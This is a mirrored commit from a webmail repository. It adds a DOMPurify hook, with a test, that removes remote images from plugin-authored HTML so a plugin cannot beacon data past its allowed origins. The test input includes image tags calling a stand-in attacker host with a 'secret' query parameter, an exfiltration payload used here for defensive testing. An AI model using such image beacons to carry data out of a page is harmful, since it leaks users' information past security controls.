mirror of
https://github.com/bulwarkmail/webmail.git
synced 2026-10-31 00:12:39 +00:00
fix: drop remote images from plugin-authored HTML so a plugin cannot beacon past its allowed origins
This commit is contained in:
@@ -832,6 +832,17 @@ describe('email-sanitization', () => {
|
||||
expect(sanitizePluginBodyHtml('')).toBe('');
|
||||
expect(sanitizePluginBodyHtml(' ')).toBe('');
|
||||
});
|
||||
|
||||
it('drops remote images, which would carry data to any origin from the host page', () => {
|
||||
// The sandbox CSP keeps a plugin to its manifest's httpOrigins; an
|
||||
// https: image in text the host renders is a request to anywhere.
|
||||
const out = sanitizePluginBodyHtml(
|
||||
'<p>x</p><img src="https://attacker.example/x?d=secret"><img src="//attacker.example/y"><img src="data:image/png;base64,iVBORw0KGgo="><img src="cid:part1">',
|
||||
);
|
||||
expect(out).not.toContain('attacker.example');
|
||||
expect(out).toContain('data:image/png;base64,');
|
||||
expect(out).toContain('cid:part1');
|
||||
});
|
||||
});
|
||||
|
||||
// ALLOWED_URI_REGEXP excludes image/svg+xml on purpose (DOMPurify cannot see
|
||||
|
||||
@@ -262,9 +262,25 @@ const PLUGIN_BODY_SANITIZE_CONFIG = {
|
||||
ALLOWED_TAGS: [...SIGNATURE_SANITIZE_CONFIG.ALLOWED_TAGS, 'ul', 'ol', 'li', 'blockquote', 'h1', 'h2', 'h3', 'pre', 'code', 's', 'hr'],
|
||||
};
|
||||
|
||||
/**
|
||||
* Drop images in plugin-authored HTML unless they are embedded. A plugin's
|
||||
* network reach is its manifest's `httpOrigins`, enforced by the sandbox
|
||||
* CSP; an `https:` image the host page then loads for it is a request to
|
||||
* any origin, carrying whatever the plugin put in the URL. A user's own
|
||||
* signature may keep remote images (restrictSignatureImages); a plugin's
|
||||
* text may not.
|
||||
*/
|
||||
function restrictPluginImages(node: Element): void {
|
||||
if (node.tagName !== 'IMG') return;
|
||||
const src = node.getAttribute('src');
|
||||
if (!src || !/^(?:cid:|data:image\/(?:png|jpe?g|gif|webp);base64,)/i.test(src)) {
|
||||
node.remove();
|
||||
}
|
||||
}
|
||||
|
||||
export function sanitizePluginBodyHtml(html: string): string {
|
||||
if (!html?.trim()) return '';
|
||||
DOMPurify.addHook('afterSanitizeAttributes', restrictSignatureImages);
|
||||
DOMPurify.addHook('afterSanitizeAttributes', restrictPluginImages);
|
||||
try {
|
||||
return DOMPurify.sanitize(html, PLUGIN_BODY_SANITIZE_CONFIG);
|
||||
} finally {
|
||||
|
||||
Reference in New Issue
Block a user